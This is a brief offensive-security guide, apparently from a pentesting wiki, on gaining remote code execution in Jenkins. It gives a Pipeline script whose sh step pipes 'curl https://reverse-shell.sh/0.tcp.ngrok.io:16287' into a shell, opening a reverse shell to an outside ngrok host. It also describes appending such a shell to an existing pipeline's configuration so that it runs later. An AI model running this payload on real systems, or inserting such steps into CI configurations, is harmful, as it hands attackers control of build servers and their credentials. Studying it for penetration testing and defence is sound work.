Jenkins RCE Creating/Modifying Pipeline

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Creating a new Pipeline

In "New Item" (accessible in /view/all/newJob) select Pipeline:

In the Pipeline section write the reverse shell:

pipeline {
    agent any

    stages {
        stage('Hello') {
            steps {
                sh '''
                    curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
                '''
            }
        }
    }
}

Finally click on Save, and Build Now and the pipeline will be executed:

Modifying a Pipeline

If you can access the configuration file of some pipeline configured you could just modify it appending your reverse shell and then execute it or wait until it gets executed.